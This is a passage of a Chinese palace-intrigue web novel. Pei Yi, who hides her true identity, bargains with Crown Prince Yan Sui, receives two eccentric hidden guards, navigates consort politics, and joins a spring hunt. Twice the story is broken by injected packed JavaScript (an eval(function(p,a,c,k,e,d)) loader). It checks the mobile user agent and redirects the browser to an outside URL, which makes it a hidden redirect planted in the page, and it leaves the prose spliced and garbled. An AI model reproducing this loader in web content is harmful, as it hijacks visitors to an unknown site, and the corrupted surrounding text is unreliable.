裴旖冷眼看着他,心中清楚,他是在履行傍晚时两人在竹林里的交易,同时也是在提醒她,在竹林时他容忍了她的得寸进尺,如今她也应该给他相应的回报。 她静默片刻,开口道:“两位王妃。那道香气太淡,无法具体确认是哪一位身上传出来的。” 面前人嗯了一声,似乎这样的结果在他的预料之中。他长指摆弄着一黑一白两颗棋子,狭长黑眸漆沉深邃,不知在想些什么。 两人静静相对而坐,半晌后,裴旖先有些耐不住,谨慎开口问道:“殿下是怀疑这次在路上埋伏暗杀殿下的背后主使,是文王或者豫王?” 对方反问:“郡主怎么以为?” 她略微沉吟:“臣女不知此事的内情,无法判断以一味香气作为怀疑的依据,是否有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴旖听不出他的语气是真心还是反话,也懒得去猜,直接问道:“难道这两位是殿下暗卫中武艺最高明的?” “那倒不是。” 他伸出手,长指在手帕旁点了点,“这个,胆子小还爱惹是生非,危急关头逃得比谁都快。这个,最擅长狡辩、作戏,还有给孤制造麻烦。” 他抬起眼,意味深长看着她的脸,“都与郡主甚是相像。” 裴旖:“…………” 她扯了扯唇,挤出假笑,“东宫果然是人才辈出,这般英勇诚实的暗卫,不愧是殿下一手调教。” 晏绥低笑一声,身后的近侍走上前拿走了托盘,亭子里再次剩下他们两人后,他悠悠开口:“今日郡主所求之事孤已经办到,想必孤的诚意郡主也已经看到,但是郡主的诚意,孤觉得还是差了一点。” 裴旖敛起表情,面色恢复了平常的沉静。她心知他所指的是昨日她声称自己可以协助他的事,静默等待着他的下文,可是他却没有再开口,而是慢条斯理抬起手,将手里那枚白子放到了一圈密不透风的黑子中。 她目光下意识追随着他的动作,看着棋盘中被黑子层层包围孤立无援的白子,似是在演绎着眼下她的处境。 裴旖有片瞬不自觉的失神,再抬起眼时,毫无防备撞进了面前人那双沉邃难明的黑眸里。她心头蓦然一跳,也不知是因为这一刻毫无防备的对视,还是因为身体本能警觉预感到了即将到来的危险。 他缓慢扯开唇尾,似笑非笑:“郡主若是真有诚意,不妨告诉孤,你到底是谁?” 21. 第 21 章 裴旖太阳穴重重一振,不确定晏绥是否发现了什么,但无论对方已经知道了多少,留给她的路始终只有一条,那就是将自己无辜受害者的角色扮演到底。 她暗暗深吸口气,面色镇定反问:“殿下为何这样问?” 对方无声看着她的脸,眸底的深意看不分明。她停顿数秒,装作一脸不可置信道:“难道殿下也信了那个南呈探子的话,怀疑我是他的同党?” “你不是探子。” 男人的声线沉淡笃定,“那个人也不是。” 裴旖闻言一怔。 她当然知道那个人不是真的探子,那个人只是长公主在假失火之后顺水推舟推出来的假刺客罢了,但晏绥又是如何这么快发现的? “殿下的意思是说,死在玄武卫的那个南呈探子,是假的?” 她作出惊诧状,自言自语分析道,“倘若那个人是假的,那也就是说,他是故意被长公主府抓到的,他的目的就是为了进入玄武卫,而后在被审问时诬陷臣女与殿下?” 面前的人没有回应,裴旖心里没底,试探着又问:“殿下可查到这个人的底细了?” 晏绥语气莫测开腔道:“是个外地的小生意人,原本家境殷实,近几年染上赌瘾,欠了不少赌债。在他被抓进玄武卫后,妻儿也在一夜之间销声匿迹。” 裴旖心中不禁冷笑,这般再明显不过的顶包,与上一世从她卧房里搜出来的令牌一样,手段都称不上高明,甚至可以说是十分粗糙,却被长公主一而再再而三堂而皇之地用来诬陷她,无非是因为对方算准了她孤立无援,毫无自救之力,可以任由他们拿捏致死。 她黑白分明的眼眸中浮上一层寒意,面前的人接着道:“他身上的伤口,与前两日琼华殿刺客所留下来的痕迹,看起来是同一人所为。” 裴旖眸光诧异凝起。这个假探子毫无疑问是长公主安排的,晏绥突然回京最迫切需要灭口的人也是长公主,可倘若那日在琼华殿刺杀她的人是长公主派来的,又为何会在最后关头放她一马? 这样细微的情绪变化瞒不过面前人的眼睛,他掀了掀眼,不咸不淡问:“郡主似乎不太认同?” 裴旖沉思片刻,还是没有将那日刺客的古怪说出来,而是将话题引回到长公主的身上:“臣女是在想,那个假探子既能伪造出臣女亲笔的书信,想来他背后的人,也与长公主府脱不开干系。” “郡主可有怀疑的人选?” 她无声苦笑,摇头轻轻道:“每一个与长公主府相关的人都有嫌疑。” 他漫不经心问:“包括长公主本人?” 裴旖眉心蓦然一跳:“殿下此言是何意?” 晏绥盯着她看了半晌,悠悠开口:“你与姑母,很不相像。” 她镇定回道:“母女之间相貌不同也是有的。” 他接着问:“但若是相貌与性情都毫不相干呢?” 裴旖静默片刻,低声道:“臣女流落在外十八年,不比京中贵女无忧无虑。” “养父母待你不好?” “养父母一家待臣女很好,只是臣女自小在医馆帮忙,习惯了谨慎行事。” “那他们一家人突然失踪,你可知情?” 裴旖心脏重重一沉,没有想到东宫的消息竟然如此之快,沉默片刻,她回话道:“臣女知情。因为,是臣女告知他们这么做的。” 面前人听言深深看她一眼,也不知是意外于她的果决,还是意外于终于从她口中听见了一句真话,半晌,才又开口道:“你既这般认定有人要害你,为何不去与长公主言明,而是找到了孤?” 裴旖眼望着他身后的湖水,平静开口:“殿下明鉴,倘若有人预谋诬陷郡主为假,那此人首先要设法蒙骗的不是诏狱,也不是玄武卫,而是长公主。” “若长公主认定了臣女是假,那臣女无论真假,都是假的。反之,若是长公主相信臣女为真,那她自会全力保全臣女,无论旁人如何定罪,也撼动不了臣女的郡主之位。因而,臣女是真是假,是生是死,全在母亲的一念之间。” 晏绥静静看着她的脸,黑眸中的意味不甚分明。 她继续道:“那日臣女碰巧在桃源驿听见使臣与神秘人的谈话,他们既有能力煽动母亲疑心,臣女也不敢贸然行事。臣女虽然敬重母亲,奈何奸人从中作梗,况且臣女在明,他们在暗,臣女不知他们是何身份,还会作出什么事情来,不敢将自己的性命全然寄托在这短暂数月的母女情分之上。” 晏绥低哂一声,指腹轻碾着棋子反问:“你不敢将性命寄托于长公主,却敢寄托在孤的身上?” 裴旖垂下眼睫,轻声恳切道:“殿下曾调查过臣女与养父母一家,想来最为清楚臣女的身份是否有异。臣女在京中无依无靠,势单力薄,若非真的性命攸关走投无路,如何敢在那一日去东宫孤注一掷赌这一次呢?” 夜色寂静如水。 晏绥的目光落在她眼睫下的阴影上,月光为她的脸庞镀上了一层皎洁而透明的白,她身上那种清冷的脆弱感在夜幕里被无限放大,仿佛一种不知名的蛊,令人情不自禁心生怜惜,又莫名想要掌控与摧毁。 他无声凝视她许久,喉结滚了一下,别开眼,低沉声音里的情绪莫测:“你何时回府?” 裴旖暗自松一口气,心知不论他是信了或者不信,至少今晚这一轮考验算是暂时蒙混过关了,答话道:“三日之后。” 晏绥漫不经心嗯了声,立挺分明的脸庞在光线下晦暗不明,似是在想些什么。 裴旖审度着他的面色,试探开口:“臣女有几事不明,想请教殿下。” 他转眸看她:“说。” 她问:“殿下为何会突然回京?” 他云淡风轻答:“身负重伤。” 裴旖默默上下看一眼他,方才他还差一点儿单手拧断她的脖子,哪里来的身负重伤? 她抿了抿唇,又问:“殿下临行那日,为何会让公主来接我入宫?” “怕你死在别人手里。” 他望着她的眼,牵了下唇,“孤想亲自.杀。” 裴旖:“…………” 她就多余问。 最后一个问题完全出于她自己的私心:“臣女养父一家的下落,殿下的人可查到了?” 他道:“还没有。他们藏得很隐蔽,你暂时不必为他们担忧。” 裴旖放下心来。 在她离开亭子后,一道黑影闪身进入亭中,低声禀报:“殿下,方才阿未传书回来,说在长陵发现了璟王的人,似是在寻找什么人的下落。” 晏绥瞟一眼棋盘上孤零零陷在一片黑子中央的白子,神色莫测开腔:“告诉阿未,不管他们在找什么人,务必在他们之前找出来。” 阿辰应了声是,思来想去还是觉得颇为古怪,迟疑少顷后又开口道:“数月之前属下奉殿下之命去查长陵裴家时并未发现可疑之处,可这一次阿未再去时,明显觉得有人在刻意抹去郡主在长陵的痕迹,就连裴家人去楼空的医馆也被人抹黑造谣。殿下难道不觉得,似乎有人在针对郡主,想要赶尽杀绝?” 晏绥轻蔑哂道:“他们针对的是孤。” 阿辰闻言微顿,而后很快会意。若对方此举是冲着长公主府而来,直接派死士暗杀郡主就好,还能有什么是比失而复得的丧女之痛更令人痛不欲生的?可对方如此大费周章却是为了陷害郡主为假,反而说明了其背后真正的目的,是东宫。 但尽管如此,郡主毕竟是长公主府的人,虽说这一次她是被迫牵扯进来的,却并不意味着她绝对无辜。阿辰不知座上人心中对她是何论断,审慎问道:“那郡主前来投靠殿下一事,殿下如何定夺?” 晏绥抬手将指间的黑子掷到了棋盘中那颗孤立无援的白子上,雪白的棋子被黑色覆盖,与棋局中的大片墨色同时融进夜幕里。 他靠回椅子里,玩味掀唇:“他们都把棋子送到孤眼前了,为何不收?” * 蕙兰宫。 晏然掀开桌上的木匣,里面没有布条,而是一支珠钗。 她先是一愣,后知后觉反应过来,觉得十分不可思议:“母亲难道就不担心她会当场打开木匣?” 淑贵妃倚在软榻上轻笑一声,她这半辈子都在战乱与深宫中度过,从未怀疑过自己看人的眼光:“我早说了,她比你沉得住气。” 晏然抿抿嘴,平常被母亲这样说她总是不服气,今日她倒是无话可说。若换作是她被下毒,她定是要当场将对方揪出来赏一顿耳光让对方颜面扫地再也没脸面迈出家门一步,肯定会想也不想就打开这木匣。 她将珠钗拿在手上掂了掂,这支钗子还是母亲被封为贵妃那年太后赏赐的,意义重大。她抬起眸,看向榻上的人:“所以母亲这一关,她算是过了?” 贵妃神色淡淡道:“太子看重她,我总要表个态度出来。” 提及东宫,晏然至今仍旧感到相当费解:“原本皇兄对她甚是冷淡,也不知启程那晚他们两人间到底发生了什么,皇兄突然对她关注起来。” “她倒是个好孩子,只可惜出在长公主府。” 榻上人的语气颇为惋惜,“昨日你父皇还提起了他们两个的婚事,原本这件事还要等到凉昭战事结束,如今你哥哥提前回京,想来很快就会定下吉期。” 晏然听言微微凝起眉,皇兄最近虽是很关注郡主不假,但她可不觉得那是出于喜欢。 再者郡主毕竟是长公主的亲女儿,谁知她突然接近皇兄是不是受了长公主的指使?万一她进了东宫后与长公主里应外合算计皇兄,岂非后患无穷? 淑贵妃一眼就看出她心中所想,出言提点:“这门婚约是先帝定下来的,谁若是反悔这桩婚事,就是不孝。” 晏然满不在乎道:“皇兄不愿意娶她是不孝,但若是她主动退婚,就不干皇兄的事了吧?” 淑贵妃的神色很不赞同,她自然知道自己这个女儿说得出就做得到,但从晏绥回京之后对郡主的态度来看,她隐隐觉得这两人之间另有隐情,并不只是简单走近这样简单。她略沉下声音,警告道:“你莫要生事,你皇兄的事情他自己会做主,他的婚姻大事难道还需要你指手画脚?他若是真不想娶,谁又能逼得了他?” 晏然觉得无趣,悻悻应了一声,将珠钗扔回了盒子里。 淑贵妃思忖片刻,再次开口道:“你若是真想帮他,不如去跟郡主走近。她毕竟在外十八年,与长公主的母女情缘并不深厚,再者我看她也是个有主意的,并非不可争取。” 晏然不屑撇嘴:“争取她有什么用?难道我们还要用她反过去对付长公主府?” 淑贵妃无奈瞟一眼自己被宠坏的女儿,耐心淡声道:“她夹在长公主府与东宫之间,与其让她为长公主所用,还不如想办法收在我们麾下。” 晏然蹙眉抱怨:“那我又怎么可能争得过她的亲生母亲?” “为何争不过?一边是才相认数月的母亲,一边是决定她此生荣华的夫君,你怎么就没有胜算?” 淑贵妃斥过她后,脸色骤然冷了下来,“若争不过那也是你的问题。你不展现出自己的用处来,整日只知道吃喝玩乐,单靠父兄的宠爱能到几时?这一次凉昭求娶的是郡主,下一次谁知会不会是公主?你的父皇兄长现在宠着你,待来日需要在你与权力之间取舍时,你觉得他们会选择哪个?” 晏绥虽不服气,但神色还是收敛许多。淑贵妃接着命令:“过几日你们去雁鸣山春猎时,你带上她。” 晏然皱起脸,很不情愿:“她又不会骑射——” 淑贵妃冷冷瞥过来一眼,她闷闷不乐应声:“是,女儿知道了。” * 裴旖踏下桥,青霜赶紧提着灯迎了上来。 两人回到晏然宫中,沐浴后,素云上门送来方才宫宴上的那只木匣,裴旖掀开看了一眼,心领神会,微笑说自己明日会前去谢恩。 熄灭油灯后,帐外的安息香与月光一同缓缓渗了进来,裴旖稍觉心安,这两日的事情太多,精神松懈下来后倦意涌了上来,很快便沉沉睡了过去。 这一觉竟然睡到巳时,盥漱裴旖后坐在铜镜前发呆,余光瞟到桌角那一沓纸,想起自己还欠着晏绥一万遍,颇为头疼。 她托着腮,心不在焉想要么干脆拖到她回府吧。他才刚回京,既要养伤,还有很多政事要忙,青梅也刚从北靖过来,估计他一时半会儿也顾不上她,待他想起罚抄一事时,她就……就说自己在宫中已经抄过了,但是被公主的貂给吃了。 裴旖对自己这个借口甚是满意,正专心在脑海中编撰着细节,青霜快步走至她身边,紧张兮兮压低声音:“郡主,房上有人。” 裴旖闻言一骇,抬起眼:“你看清楚了?” 青霜用力点头,表情凝重道:“两个黑衣人,一男一女,但是武功好像不高,上去的时候声音弄得很大,坐在上面也不知道避讳人,还有说有笑聊天呢。” 裴旖反应过来是怎么回事,虚惊一场:“叫他们进来。” 青霜一愣:“啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031827|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她不欲多说:“是东宫的人。” 半刻钟后,两人走进殿中,单膝向裴旖跪拜。 少女先抬起脸,笑吟吟道:“属下阿卯,奉殿下之命保护郡主,悉听郡主吩咐。” 裴旖掀眼看过去,面前的人正是那天在房梁上向她丢人皮的那个姑娘。回想起当时的画面,她仍旧有些反胃,抿唇点点头,目光转向另一个人。 少年的面容清秀,年纪不大,身量也很清瘦,与身旁的少女差不很多,性情看起来很是寡言,开口时也果然如此:“属下阿巳,见过郡主。” 裴旖点头,简单交代几句后,想了想,问他们:“你们两个都擅长什么?” 当时晏绥拿来那些东西让她挑选时,她猜测短箭应该是代表暗器一类,但手帕是什么意思她没有想出,只推测着大概是位女暗卫,跟在她身边行事会更方便些。 少女听见她的问题后顿时两眼放光,笑眯眯脆声回道:“剥皮、挑筋、拆骨、放血、碎尸,郡主若有什么仇人放心交给我们就是了,我们准保给他拆得亲娘都认不出来,下到地狱也投不成胎!” 阿巳在一旁面无表情点头,显得眼前的荒诞画面更荒诞了。 青霜听得瞠目结舌,暗暗往后退了半步,躲到裴旖身后。裴旖勉强扯了扯唇角,突然怀疑起自己的判断来:“……那个,那条手帕是谁的?” 阿卯指指身旁的少年:“他,他有洁癖。” 原来是这个意思。 裴旖若有所思:“那短箭的意思是?” 阿卯微笑眨了眨眼:“我使长刀。” 裴旖:“…………” 她就知道,和晏绥相关的一切东西都不能用正常人的思路去推断。亏得她当初还千挑万选,最后竟然在十二个人里挑中了这么一对儿卧龙凤雏。 两人离开之后,青霜悄悄往头顶看一眼,越想越觉得后怕,小声问:“郡主,这两个人以后每日都要跟着我们吗?” 裴旖嗯了一声:“暂时是。” 青霜踌躇问出心中担忧:“他们……真的能用吗?” 她是听说过这种暗卫的,京城中有些有权有势的人家会去专门挑些适合习武的孩子培养成暗卫。他们的训练过程极其苛刻残忍,为了活下去不仅要互相残杀,还会被跟野兽关在一起搏命,能坚持到最后的人早都失了人性,活着就是为了杀人脑子里也只有杀人,万一这两个人哪天突然凶性大发起来,那可如何是好? 裴旖垂眼从木匣里拿出珠钗,淡定反问:“为何不能?” 昨晚她向晏绥索要暗卫,一来是为了给自己寻求保护,有东宫的暗卫在,她至少不会被人不明不白暗杀。 二来是主动给他一个监视她的途径,有他的人在她身边,也方便他弄清楚她到底是不是与他人联合起来算计他——这应该也是晏绥会同意借暗卫给她的真正原因。 青霜欲言又止接过珠钗,为她插进发髻里,很快也想通了,反正郡主早晚要嫁进东宫,怎么也避不开殿下手底下的这些人。更何况这段时间郡主几次被行刺,本来就很危险,与其瞻前顾后,还不如先用起来。 早膳之后,裴旖到贵妃宫中谢恩,碰巧苏黎盈也在。 对方向她行一礼,她叫了一声苏姐姐,气氛中有种说不出的微妙。 裴旖从来没有将对方当成过情敌,但不知对方是怎么想的。苏黎盈从小养在晏家,自然与贵妃很是亲近,两人聊的也都是从前在北靖时的旧事,裴旖坐在一旁安静喝了半天的茶,最后寻了个借口起身告辞。 回去的路上迎面碰见了顾祈安,裴旖停下来,两人无声相视一眼,她出声询问:“小皇子怎么样了?” 顾祈安答话:“小皇子已无大碍,只是身上的红疹还需要些时日方能彻底消下去。微臣方才过去是给五公主送药。” 裴旖有些意外:“五公主怎么了?” 他低声道:“昨夜小皇子出了这样的事,丽妃娘娘大怒,公主被罚跪,腿上伤得厉害。” 裴旖听言暗暗咂舌,但见面前人神色寻常,仿佛这样的事已是常态,想来有丽妃这样掐尖儿好胜又重男轻女的母妃,晏灵的日子也并不好过。 与顾祈安分开后,青霜不解问道:“郡主,方才贵妃与苏姑娘正好说起从前太子在北靖时的事情,你为何不留下来听一听呢?” 裴旖望着前面的路,面色冷淡:“北靖之事,与我何干。” 知晓晏家北靖那些旧事对于她眼下要做的事情毫无帮助,何况她们二人聊得兴致正高,她一个外人在旁边也插不进话,何必干坐在那里浪费时间陪笑呢。 青霜误以为她是因为被冷落而不悦,压低声音宽慰道:“苏姑娘久不来京城一次,许是与娘娘叙起旧来一时兴起疏忽郡主了,郡主莫要放在心上。” 裴旖心知她误会了,但也不想多解释,只道:“与苏姑娘无关。” 青霜暗暗思索着,不是因为苏姑娘,那就是因为太子了? 她默默瞟着身旁人的脸色,犹豫半晌,小声劝解道:“太子殿下虽与苏姑娘青梅竹马,但也只是兄妹之情而已。昨晚殿下虽说是为了给苏姑娘接风才出面的,但想来也只是不希望她与公主两人因为打赌在宫宴上闹起来罢了。” 裴旖听言,脚步微微缓了缓。 怪不得昨日女官说他要养伤无法参加公主的生辰宴,可他最后来是来了。原来他不是心血来潮,也不是来旁观她的毒药解得如何,而是来给他的青梅接风的。 见她沉默不语,青霜以为自己说中了她的心思,继续自顾自道:“苏姑娘两三年才来京城一次,即使与殿下有儿时的情分也早就淡了,郡主无需太介怀。” 裴旖敷衍嗯了一声,踏进殿中。 她坐在桌案前拿起翻开一半的书,余光瞥到角落那沓白纸似乎与她离开之前的不太一样了。 她疑心侧眸,另一只手覆在纸上翻了翻,少顷之后,面色蓦然一变,回头看向青霜:“我昨日写的那几张手稿呢?” 青霜摇摇头,见她神情紧张,也放下手里的事情过来帮她翻找:“奴婢没有看到,是不是夹进哪本书里了?” 裴旖脸色凝重,找遍了桌案上下也不见踪迹,青霜想了想又道:“方才出门前奴婢打扫过桌下,会不会是早上开窗时被风吹下来了?” 裴旖手掌撑在桌沿上,沉眸想,若是被当成废纸扔掉倒也好了,万一那几张纸被旁人看见—— 她紧张深吸口气,当机立断回身命令青霜:“收拾东西,我们回府!” 22. 第 22 章 裴旖提心吊胆忐忑不安了数日,直到手稿一事一直没有下文,她才渐渐将心放回了肚子里。 这次回府之后,长公主对她的态度明显比先前冷淡了不少。她现在对着晏绥一个人演戏就够废心神的了,也懒得再作戏给旁人看,称自己在宫中染了风寒,长公主顺势将她每日的问安免了,连饮食都是命人按时送到别院,当真是不想多看她一眼。 她难得过了几天悠闲日子,没等来晏绥的消息,倒是先等来了晏然的请帖,邀她明日一起去雁鸣山的皇家猎场狩猎。 裴旖有些犯难该怎么回绝,碰巧谢颜也在,怂恿她道:“去呀,雁鸣山的春色可好了,这时候满山的桃花可漂亮了!” 裴旖面露无奈:“我不会骑马,也不会射箭,难道去了就是赏花?” 再说这次狩猎是晏然小圈子的聚会,她一个相熟的人都没有,一个人孤零零地过去做什么? 谢颜宽慰道:“你放心吧,公主每年春天都要过去,除了她和两位将军家的小姐,其他人的骑射也不见得有多精妙,少不了有几个跟你一样的人。你们就赏赏花,看看水,等着他们狩猎回来烤肉吃,岂不美哉?” 裴旖沉思片刻,问:“太子会去吗?” 谢颜回想一番:“之前都是去的,不过今年他应该不会去吧。” “为何?” “因为他忙啊,最近朝中好多事情,而且他上次受伤之后余毒未清,昨日还在勤政殿吐血来着呢。” “吐血?!” 见她一脸惊异诧色,谢颜颇觉奇怪:“你不知道?” 裴旖摇了摇头,谢颜耸肩:“那可能是姨母怕你担心,没有告诉你吧。” 裴旖默然不语,心中对吐血一事半信半疑。谢颜拍拍她的手,大咧咧安慰道:“你也不用太担心啦,京中这么多的名医,肯定有办法的。” 她嗯了声,仍有些心不在焉。谢颜手臂撑在石桌上,凑近了压低声音道:“不过,万一……我是说万一,这个毒真的留下什么隐疾,你打算怎么办?” 裴旖余光瞟一眼房檐,没看见人影,心想这么远的距离也应该不会被暗卫听到,声音很轻道:“无妨。” 谢颜看看她,没懂:“嗯?” 裴旖道:“他是太子,有隐疾也无妨。” 只要他还有口气活着,能帮她复仇就成。 谢颜挑眉啧一声,显然是曲解了她的意思,拖长了尾音揶揄:“喔,只要他是他,不管他怎么样,某些人都非他不嫁呗!” 青霜在旁一边理着彩线,一边抿嘴偷乐。裴旖无奈弯了下唇,低声嗔她:“什么嫁不嫁的,别乱说。” 谢颜当她是害羞,笑了笑,认真正色道:“你既已经准备做太子妃了,那明日便更要过去了。每回公主张罗的事情,太子但凡人在京城都会亲自到场,明日本应是你们两人一起,他身上有伤无法前去,你若再不去,岂非叫人揣测你与他虽有婚约在身,却不得君心?” 裴旖沉吟片刻,心道也罢,左右长公主和璟王的计划因为晏绥突然回京而打乱,暂时也无暇理会她。他们在等待下一次出手的时机,她也同样在等待机会反杀,这一次的春猎,就权当是出去散心好了。 决定之后,她便派人去回了晏然的话,同时着手准备明日所需的衣物。隔天早上,晏然派来的马车接上她,一行人马浩浩荡荡,在正午前到达了雁鸣山。 这次前来的世家公子与贵女一共有二十来人,大部分对于裴旖而言都是生面孔。其中镇南侯家的世子最是殷勤,鞍前马后奔走在晏然身前,此次狩猎的大小事宜也皆是由他安排,他还贴心地专门为裴旖准备了一匹小马,通体雪白,性情温顺亲人,对于初学骑马的人来说是再合适不过的了。 裴旖轻抚了抚面前的小马,心中有些喜欢。她向世子道过谢后,余光瞟见苏黎盈骑着一匹骏马悠悠走来,目视着晏然,唇角扬起:“今日可要接着上一次,分出胜负?” 她身下的那匹马生得高大,毛发通红顺滑,十分威武漂亮。裴旖心中暗道,怪不得这两个人要为了它连赌上三局了。 晏然微微笑道:“如此春光,若不尽兴比试一场,岂不是辜负了?” 苏黎盈勒马在晏然身前停下,她的长发高高束在脑后,皮肤因为常年经受北地风沙而呈现出淡淡的古铜色,看起来英姿飒爽:“好,那就看谁能猎到今日的第一只鹿,便是赢家!” 晏然翻身利落跨上了马,握紧缰绳正要扬手,像是忽然想起什么似的,转过头来问:“郡主可要一起同去?” 裴旖意外一怔,正要出言婉拒时,镇南候世子出声提议道:“郡主若也想一起去山中走走的话,叫个侍卫跟着你就好。” 她淡淡弯唇:“我初来猎场,今日还是先熟悉下周边的环境为宜。” 晏然点了下头,没有再勉强,夹紧马跟着苏黎盈走了。 裴旖看向身旁未有动作的人,略感奇怪:“世子不与公主同去吗?” 对方笑了下,神色坦然道:“郡主有所不知,我自幼身有疾患,不适习武,对骑射之事一窍不通。” 裴旖颇有些意外,但见他的外表与常人无异,想来应该是内里的隐疾,便没有再多言,岔开话题道:“听闻这山里的桃花开得极好,我今日原是奔着赏花来的。” 宋知序婉惜道:“可惜前两日大雨,桃花被打落了不少。郡主若是能骑马的话,可再往东面深处走一走,有片梨花开在峭壁之下,当真是美不胜收。” 裴旖淡笑道:“山中竟有如此美景,看来这次我是一定得学会骑马了。” 众人陆续进了山里。贵女中留下的几个人年纪都不大,都是跟着兄长或长姐出来凑热闹的,裴旖与她们聊不到一起,独自在附近逛了一圈后回到营帐。 宋知序安排了一名女侍卫教她骑马,在对方的指导下她很快掌握了要领,独自绕着营帐走圈,越走越快,也越走越远,最后无意间走到了猎场东南角的靶场,她缓缓勒住缰绳,慢步走上前。 正式春猎时的开弓仪式便是在此举行,方才最先到山上的几位公子也在此处比试了一番箭术。左右今日闲来无事,裴旖俯身拿起架子上的弓,学着自己平常观察到的样子,将箭搭在弦上,而后瞄准、拉弓、放箭—— “嗖”一声,箭矢穿破空气,稳稳落在了靶子上。虽然箭尖离红心尚有差距,但作为初学者无师自通射出的第一支箭,又是距离靶子这般远的距离,这个成绩尚且不错。 裴旖对自己的表现还算满意,从箭桶中又取了一支箭,再次搭弦,摸索着修正了方才的偏差,而后松手放出了箭,箭尖正中红心的同时,身后传来一声少年的喝彩:“好箭法!” 裴旖放下弓回眸,来人是镇南侯家的小公子,宋知序的幼弟,宋之昂。 他看起来约莫有十来岁的模样,因着月前从烈马上摔下来在家躺了半个多月,所以他兄长不许他进山,更不准他骑马,他闲得实在发慌,才碰巧走到了这里。 小公子快步走到裴旖身旁,仰着脸好奇问:“郡主姐姐从前可学过射箭?” 裴旖轻笑了声:“没有。” 她之前在长陵从未有机会接触骑射,不过养父曾给阿弟找过一位江湖师父,教阿弟拳脚之余也会带着他们一起去玩儿些弹弓、水漂、投壶之类的游戏,她的准头儿一向要比阿弟好些,为此他还哭过好几次鼻子,耍赖要她用左手让他。 “那郡主姐姐才两支箭就射中了红心,实属天赋异禀!” 宋之昂兴奋不已,“姐姐是如何做到的,可否教一教我?” 裴旖看他这副模样,想起了阿弟小的时候也总是这样一惊一乍地缠着她,不禁莞尔,委婉推辞道:“方才我那两支只是碰巧罢了。听闻世子的侍卫中不乏精通骑射之人,公子若是想学,叫世子请人教你岂不是更好?” 小公子撇了撇嘴,一脸嫌弃道:“我才不要跟他的人学,若是学得不好,他少不了要责罚我,还要向父亲告我的状。” 裴旖忍俊不禁:“公子天资聪颖,怎会学得不好呢。” 宋之昂小大人儿似的摇头长叹一口气,而后又像是忽然想起什么,眼睛一亮,提议道:“我方才路过湖边的时候看见他们在打水漂,姐姐箭射得好,这些肯定也不在话下,可要一起去试一试?赢了的人还有奖励拿呢!” 想到自己有许多年没有碰过这些东西了,也是不忍扫了小少年的兴致,裴旖欣然同意。两人到湖边后,前几局裴旖还有些生疏,之后便很快上手,投掷出的距离一次比一次远,宋之昂在她身后连连拍手叫好,激动得都破了音。 天光渐渐暗了下来,湖面泛起赤金色的波光。 去狩猎的那些人先后从山中回来,全都被这边的热闹吸引过来,聚集在湖边。宋之昂不遗余力地给每个人都绘声绘色讲了一遍她方才的最好战绩,裴旖不愿成为被瞩目的焦点,将手里的最后一支掷出去后,回身摆了摆手,淡笑道:“胳膊都酸了,你们玩罢。” 在她走回营帐时,晏然也回来了,看脸色似乎对今日的收获不太满意。 众贵女围坐在一起,婢女端来茶与点心,有人叹道:“今日真是奇了,连只鹿的影子都没有见到。” 又有人应:“许是前两日下了大雨的缘故吧,山路湿滑,鹿也不爱出门儿。” 那人点点头,环顾一周,注意到:“咦?苏姑娘怎么还没回来?” 晏然喝一口茶,慢悠悠戏谑:“她啊,约莫是到深山老林里找鹿的老巢去了。” 众人听言均是笑了笑,这一次狩猎来的都是自己人,互相说起话来也没太多顾忌:“那公主还坐在这里悠闲喝茶?就不怕苏姑娘真将你的貂赢了去?” “苏姑娘如此胜负欲,公主这次恐怕是要忍痛割爱了。” 晏然笑道:“她若是真猎得回来,那便是我技不如人,愿赌服输。” 众人七嘴八舌道:“公主的貂这么认主,苏姑娘即使赢过去了,它十有八九也要偷着跑回来。” “是呀,那么小的一只,就别辛苦它从北靖跑回来一趟了,公主还是让太子殿下再去给苏姑娘另寻一只吧!” 营帐内蓦然寂静下来。 京城里谁不知道太子与苏家的女儿青梅竹马,除了公主之外,太子便是待苏姑娘最亲近,淑贵妃也很是中意这个儿媳,若不是半路突然杀出个郡主来,两人估计早都结成连理了。在郡主面前提议太子给青梅送貂,这也是可以说的吗? 说话的人迟钝意识到自己失言,脸色尴尬不已。晏然的表情未变,但见她垂眼缓慢捏着手里的茶杯,明显是不悦的前兆,其他人没敢作声,纷纷暗自朝角落的方向隐晦看了一眼。 角落里的人面不改色安静喝着茶,仿佛她们在说的话题与自己无关。在她左手边坐着的是平国公家的长女,邓芸。她先前就注意到郡主一直没有开口,觉得大家光顾着说狩猎的事,对郡主有些怠慢,正好此刻出了这样的意外,她便顺势将话题岔了过来,温声笑道:“听闻方才郡主骑射皆是一点即通,天赋异禀,想来明日大家便可一起进山去玩了。” 裴旖闻声回过神来,她方才在想别的事情,没有认真听这群人都聊了什么,弯唇客套道:“狩猎之事我是一窍不通,不过听宋世子说东面的峭壁下有片梨花林,我打算明日过去看一看。” 大家都很配合地顺着她的话往下说道:“那片梨花确实是极佳,我两年前曾来看过一次,如今应该长得更繁茂了些。” “不过那里的距离也不近,路陡又途径几处密林,郡主还是多带上几个随从为宜,以防万一。” 裴旖微笑点头,正欲再次隐身时,忽有一人笑道:“郡主好事将近,怎的舍近求远,不看桃花看梨花?” 原本她们对这个突然回京的郡主都谨慎地持着观望态度,但今日晏然邀请她前来,便是等于认可了她的身份。再有上一次五公主的生日宴时,她们也都看出来了这位郡主绝不是个简单角色,既然大家同属一个阵营,日后少不了要交际,更何况她未来还会是太子妃、是皇后,因此对待她的态度里,都半是示好,半是试探。 裴旖顿了数秒,慢半拍反应过来这句话里真正的重点:“……好事将近?” 说话的人抿嘴笑了声,瞟一眼晏然 